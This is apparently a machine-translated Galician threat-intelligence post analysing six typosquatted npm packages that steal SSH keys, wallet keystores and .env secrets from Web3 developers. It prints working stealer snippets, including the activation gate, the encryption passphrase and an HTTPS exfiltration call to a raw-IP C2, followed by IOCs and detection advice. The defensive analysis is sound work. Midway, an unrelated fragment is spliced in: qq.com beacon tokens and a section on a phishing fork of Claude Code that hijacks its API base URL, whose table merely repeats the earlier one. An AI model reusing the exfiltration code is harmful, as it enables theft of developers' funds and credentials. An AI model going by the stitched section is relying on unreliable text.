TL, RD
O 6 de maio de 2026, un único editor de npm, namikazesarada010206, lanzou seis paquetes maliciosos dirixidos ao ecosistema de desenvolvedores de Ethereum, Solidity e DeFi.
Os paquetes, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilse web3-utils-core, usou nomes plausibles deseñados para parecerse a bibliotecas auxiliares para ferramentas Web3 populares.
Os seis paquetes contiñan o mesmo telemetry.js ficheiro. O ficheiro era idéntico en bytes en todo o clúster, con SHA-256:
O malware non se executa no momento da instalación. Non hai ningún preinstall or postinstall hook. En vez diso, actívase cando o paquete se importa a través de require().
Ese detalle importa.
O implante agarda ata que un desenvolvedor use o paquete. Despois, comproba se a estación de traballo se parece a un ambiente de desenvolvemento real de Ethereum/Solidity. Busca claves de Alchemy ou Infura, claves privadas, mnemotécnicas, claves de despregamento ou un directorio local de Foundry.
Se o host coincide, o ladrón recolle claves privadas SSH, almacéns de claves de carteira Foundry / Geth / Brownie, .env* ficheiros e variables de ambiente sensibles. Cifra o paquete con AES-256-GCM usando unha frase de contrasinal codificada e exfíltrao a un punto final C2 IPv4 bruto coa verificación TLS desactivada.
O sistema de alerta anticipada de software malicioso (MEW) de Xygeni confirmou que os seis paquetes eran maliciosos. O paquete de informes de retirada do rexistro npm está pendente.
O clúster: seis paquetes, un editor
A conta do editor namikazesarada010206 estaba vinculado ao enderezo de Gmail non verificado namikazesarada010206@gmail.com.
A campaña apareceu como unha ráfaga de publicación dun só día o 6 de maio de 2026. Os seis paquetes foron versionados como 1.0.0, non tiña dependencias de tempo de execución e só enviaba tres ficheiros:
package.json index.js telemetry.jsTamén declararon o mesmo repositorio de código fonte:
https://github.com/harunosakura030303-maker/evmchain-configOs tres primeiros paquetes foron detectados polos escáneres MEW na primeira publicación. Os tres restantes foron sinalizados forzosamente despois da revisión por parte dos analistas do perfil npm do editor. Unha vez que o mesmo byte idéntico telemetry.js confirmouse en todo o clúster, pecháronse como maliciosos por coherencia.
| Paquete | versión | Publicado por npm | Billete MEW | Veredito |
|---|---|---|---|---|
| núcleo de Viem | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Malicioso |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Malicioso |
| utilidades-core-de-hardhat | 1.0.0 | 2026-05-06 | # 51051 | Malicioso |
| evm-utils | 1.0.0 | 2026-05-06 | # 51069 | Malicioso, por coherencia |
| utilidades de fundición | 1.0.0 | 2026-05-06 | # 51071 | Malicioso, por coherencia |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | Malicioso, por coherencia |
A estratexia de nomeamento é sinxela pero eficaz.
Estes paquetes non imitan nomes exactos das fontes. En vez diso, empregan sufixos de "utilidade" plausibles como -core, -utilse -utils-coreIso fai que parezan bibliotecas complementarias que un desenvolvedor podería esperar ver preto das ferramentas da Web3.
| Paquete malicioso | Obxectivo lexítimo |
|---|---|
| núcleo de Viem | viem, un popular cliente de TypeScript de Ethereum |
| viem-utils-core | Viem |
| utilidades-core-de-hardhat | hardhat, un entorno de desenvolvemento convencional de Solidity |
| evm-utils | Espazo de nomes de ferramentas EVM xenérico |
| utilidades de fundición | fundición, unha cadea de ferramentas de Solidity |
| web3-utils-core | web3-utils, axudantes de Web3.js |
Este é o patrón do «paquete suplementario»: non «Eu son o paquete real», senón «Parezo un axudante razoable arredor do paquete real».
Para os desenvolvedores de DeFi que se moven rápido, iso é suficiente para crear risco.
Que ocorre cando se importa o paquete
A cadea de ataque é pequena, deliberada e centrada en entornos de criptodesenvolvemento.
Non hai gancho de instalación. En vez diso, cada paquete inclúe un index.js que exporta a funcionalidade de stub e logo carga o módulo de telemetría malicioso.
require('./telemetry').init();Isto significa que o malware se activa na primeira importación.
Iso é útil desde o punto de vista operativo para o atacante. Moitos analizadores e ambientes de probas céntranse no comportamento en tempo de instalación. Este paquete agarda ata que sexa realmente usado por un desenvolvedor, script de compilación, conxunto de probas ou ruta de tempo de execución.
Porta de activación: só se activa en estacións de traballo reais para desenvolvedores de Web3
A parte máis importante do implante é a porta de activación.
O malware comproba as variables de ambiente que se atopan habitualmente nas máquinas de desenvolvedores de Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Tamén comproba se Foundry parece estar instalado:
fs.existsSync(path.join(os.homedir(), '.foundry'))Se ningunha das condicións é certa, a función devolve un valor e non fai nada.
Iso fai que o paquete sexa máis silencioso en contornas de análise xenéricas. Un sandbox sen Foundry, claves de Alchemy, claves de Infura, claves privadas ou mnemotécnicas pode ter unha importación de aspecto inofensivo.
Nun host coincidente, o malware agarda de 60 a 90 segundos antes de recoller datos:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();O atraso reduce a correlación obvia entre a importación e a exfiltración. O .unref() A chamada tamén permite que o proceso anfitrión saia normalmente se o paquete foi importado nun script de curta duración.
Este non é un comportamento ruidoso de tipo "smash-and-grab". É un roubo específico deseñado para evitar a execución a menos que mereza a pena roubar do entorno de desenvolvemento.
O que colecciona o ladrón
Unha vez que pasa a porta de activación, o malware recompila información das fontes máis importantes no desenvolvemento de Web3: claves privadas, almacéns de claves de carteira, credenciais de despregamento, segredos na nube, tokens npm e configuración do proxecto local.
| fonte | Que se recolle |
|---|---|
| proceso.env | Calquera variable coincidente /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Ficheiros que conteñen PRIVATE KEY ou BEGIN OPENSSH, incluíndo o contido completo do ficheiro |
| ~/.foundry/keystores/* | Ficheiros de almacén de claves da carteira Foundry |
| ~/.ethereum/almacén de claves/* | Ficheiros do almacén de claves da carteira Geth |
| ~/.brownie/contas/* | Ficheiros do almacén de claves da carteira Brownie |
| ${cwd}/.env | Contido completo do ficheiro |
| ${cwd}/.env.local | Contido completo do ficheiro |
| ${cwd}/.env.production | Contido completo do ficheiro |
| ${cwd}/.env.desenvolvemento | Contido completo do ficheiro |
| nome do servidor do sistema operativo () | Metadatos do anfitrión |
| cripto.UUID aleatorio() | Identificador de vítima/sesión |
| Data.agora() | Marca de tempo da colección |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comOs tokens de ATTA son:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Non puidemos confirmar se a telemetría era a propia analítica do operador ou unha canle monetizada por separado. Os tokens de ATTA son os mesmos nas dúas mostras que examinamos.
Grupo B: heibai
claude.hk OAuth Phishing + Secuestro de ANTHROPIC_BASE_URL
A mostra do 1 de abril é a rama máis tosca e temperá da campaña.
heibai:2.1.88-claude.hk-4 foi publicado por wuguoqiangvip28, unha conta creada o 7 de xuño de 2025. O paquete versionouse explicitamente contra a lexítima 2.1.88 Liberación antrópica.
Non se preocupa co MITM de certificación CA. En vez diso, méntelle ao usuario sobre o punto final de OAuth.
As adicións maliciosas enriba da fonte filtrada de Claude Code inclúen:
| fonte | Que se recolle |
|---|---|
| proceso.env | Calquera variable coincidente /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Ficheiros que conteñen PRIVATE KEY ou BEGIN OPENSSH, incluíndo o contido completo do ficheiro |
| ~/.foundry/keystores/* | Ficheiros de almacén de claves da carteira Foundry |
| ~/.ethereum/almacén de claves/* | Ficheiros do almacén de claves da carteira Geth |
| ~/.brownie/contas/* | Ficheiros do almacén de claves da carteira Brownie |
| ${cwd}/.env | Contido completo do ficheiro |
| ${cwd}/.env.local | Contido completo do ficheiro |
| ${cwd}/.env.production | Contido completo do ficheiro |
| ${cwd}/.env.desenvolvemento | Contido completo do ficheiro |
| nome do servidor do sistema operativo () | Metadatos do anfitrión |
| cripto.UUID aleatorio() | Identificador de vítima/sesión |
| Data.agora() | Marca de tempo da colección |
A lista de obxectivos é moi específica. Non se trata dun roubo xenérico do navegador nin dunha extracción de credenciais ampla. Está dirixida a desenvolvedores que crean, proban, implementan ou operan aplicacións de Ethereum.
A inclusión dos almacéns de claves Foundry, Geth e Brownie é especialmente importante. Estes ficheiros poden representar acceso directo a carteiras ou identidades de despregamento. Se o atacante pode emparellalos con contrasinais, mnemotécnicos ou segredos de ambiente, pode ser capaz de mover fondos, suplantar implementadores ou comprometer operacións de contratos intelixentes.
Cifrado antes da exfiltración
O malware cifra os datos recollidos antes de envialos.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);A frase de contrasinal codificada é:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dA carga útil final está encapsulada como JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}O cifrado non fai que o malware sexa máis avanzado por si só. Non obstante, dificulta a inspección da rede. Un defensor que vixíe a saída vería unha carga útil JSON, pero non as claves roubadas, os ficheiros da carteira ou .env contido sen a frase de contrasinal codificada nin a lóxica de descifrado.
Exfiltración a un C2 IPv4 bruto
A ruta de exfiltración está codificada de forma fixa:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});O malware envía datos a:
https://76.13.37.80:8443/api/v1/telemetryDestacan dous detalles.
En primeiro lugar, o C2 é un enderezo IPv4 bruto en lugar dun dominio. Isto elimina a necesidade de rexistrar o dominio e evita algunhas deteccións baseadas no dominio.
En segundo lugar, a verificación TLS está desactivada con:
rejectUnauthorized: falseIso permite que o software malicioso acepte calquera certificado, incluídos os certificados autoasinados. Noutras palabras, o atacante obtén transporte cifrado sen precisar dun certificado público válido.
Non hai lóxica de reintento nin host de reserva. Os erros son tragados silenciosamente. Isto mantén o paquete en silencio se o C2 está desconectado ou non se pode acceder a el.
Por que é importante esta campaña
A maioría dos paquetes npm maliciosos dirixidos a desenvolvedores buscan credenciais amplas: tokens npm, claves de AWS, tokens de GitHub ou .npmrc arquivos.
Esta campaña reduce o obxectivo.
Busca sinais de que a máquina pertence a un desenvolvedor de Ethereum ou Solidity. Despois, extrae exactamente os activos que importan nese ambiente: almacéns de claves de carteira, claves privadas, mnemónicos, claves de despregamento, .env ficheiros e claves SSH.
Iso fai que a campaña sexa máis perigosa para os equipos Web3 que un ladrón de npm xenérico.
Unha infección exitosa podería expoñer:
- Carteiras de despregamento
- Claves de administración de contratos intelixentes
- Claves do provedor RPC
- Credenciais de despregamento na nube
- tokens de publicación de npm
- Acceso SSH á infraestrutura do desenvolvedor ou da compilación
- Segredos do proxecto almacenados en
.envarquivos - Almacéns de chaves de carteira para Foundry, Geth ou Brownie
Os nomes dos paquetes tamén mostran unha clara enxeñaría social. Diríxense ao ecosistema de desenvolvedores de Web3 a través de nomes de ferramentas familiares: viem, hardhat, foundry, evme web3.
O actor non precisa comprometer os proxectos reais. Só precisa un desenvolvedor para instalar o que parece un paquete complementario razoable.
Indicadores de compromiso e detección
| Paquetes e editor | |
|---|---|
| Campo | Valor |
| editor de npm | namikazesarada010206 |
| Correo electrónico do editor | namikazesarada010206@gmail.com |
| Correo electrónico verificado | Non |
| SCM verificado | Non |
| Puntuación de reputación | 1.0 |
| Paquetes | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| versións | Todo 1.0.0 |
| Repositorio de orixe | https://github.com/harunosakura030303-maker/evmchain-config |
| Malicioso confirmado | Os seis paquetes |
| Rede | |
|---|---|
| tipo | Valor |
| Punto final C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Porto C2 | 8443/tcp |
| Comportamento de TLS | rexeitarNon autorizado: falso |
| Esquema de carga útil | {"v":2,"iv": "d": "t": } |
| Ficheiros e hashes | |
|---|---|
| tipo | Valor |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Deseño do paquete | paquete.json, index.js, telemetría.js |
| Número de ficheiros | 3 |
| Tamaño total aproximado | 3.4 KB |
Sinais de activación
O malware comproba estas variables de ambiente:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYTamén comproba:
~/.foundry/Rutas de host de destino
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentColección Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iNotas de detección
Varias regras captan esta campaña sen necesidade dunha análise completa do comportamento.
Primeiro, analiza os ficheiros de bloqueo para atopar os seis nomes de paquetes maliciosos:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreCalquera coincidencia en package-lock.json, yarn.lock, pnpm-lock.yamlou node_modules a historia debe ser tratada como un incidente grave.
En segundo lugar, monitoriza os procesos de Node.js que len as rutas do almacén de claves da carteira:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/Este comportamento raramente é lexítimo para un paquete importado como unha dependencia auxiliar. É especialmente sospeitoso cando vai seguido de actividade de rede saínte.
En terceiro lugar, bloquear ou alertar nas conexións HTTPS a:
76.13.37.80:8443Especialmente cando a ruta da solicitude é:
/api/v1/telemetryEn cuarto lugar, busca paquetes npm que combinen estas características:
- Editor novo ou de baixa reputación
- Conta de Gmail non verificada
- Nome do paquete adxacente a Web3
- Sen historial significativo do repositorio
- Deseño de paquetes pequenos
index.jsque carga un ficheiro de telemetría ou de axuda- Sen dependencias de tempo de execución
- Colección de variables de ambiente sensibles
- Acceso ao almacén de claves da carteira
Este patrón é máis útil que un único IOC porque o seguinte paquete pode cambiar o enderezo IP pero manter a mesma lóxica de segmentación.
Lista de verificación de resposta de compromiso
Se un desenvolvedor usou un dos seis paquetes e o seu entorno coincidía coa porta de activación, trataría a estación de traballo como comprometida.
Iso inclúe máquinas con Foundry instalado, claves de Alchemy ou Infura no ambiente, claves privadas, mnemotécnicas ou claves de despregamento.
Resposta recomendada:
- Desconectar o host da rede.
- Conservas
node_modules, ficheiros de bloqueo, historial do shell e rexistros relevantes para análise forense. - Rotar cada par de chaves SSH debaixo
~/.ssh/. - Rotar as chaves da carteira para cada almacén de chaves debaixo
~/.foundry,~/.ethereume~/.brownie. - Mover fondos a carteiras novas.
- Rotar todos os segredos almacenados en
.env*ficheiros nos repositorios nos que traballou o desenvolvedor. - Rotar os segredos de ambiente que coincidan coa expresión regular da colección, incluíndo claves de AWS, tokens npm, tokens de despregamento, claves de API, claves privadas, sementes e mnemónicos.
- Auditar a actividade da nube, npm, GitHub, o provedor de RPC e a cadea de bloques desde que se instalou o paquete por primeira vez.
- Volva a crear a imaxe da estación de traballo antes de reutilizala.
O que os defensores deberían levar consigo
Esta campaña mostra como a typosquatting de npm está a evolucionar en torno a ecosistemas de desenvolvedores de alto valor.
O actor non precisaba persistencia. Non precisaba ofuscación. Nin sequera necesitaba execución en tempo de instalación.
En vez diso, baseáronse en tres cousas:
- Nomes de paquetes Web3 plausibles
- Activación só en máquinas reais de desenvolvemento de criptomoedas
- Roubo directo dos ficheiros e segredos que máis lles importan aos desenvolvedores de Ethereum
Iso fai que a campaña sexa doada de pasar por alto nunha análise xeral e perigosa cando aterra no ambiente axeitado.
Para os equipos de Web3, a lección é clara: tratar os nomes das dependencias como parte do modelo de ameazas. Un paquete que semella un axudante inofensivo aínda pode converterse no camiño máis curto cara a un compromiso da carteira.
Informado ao rexistro de npm. Actualizaremos esta publicación cando se eliminen a conta do editor e os paquetes.
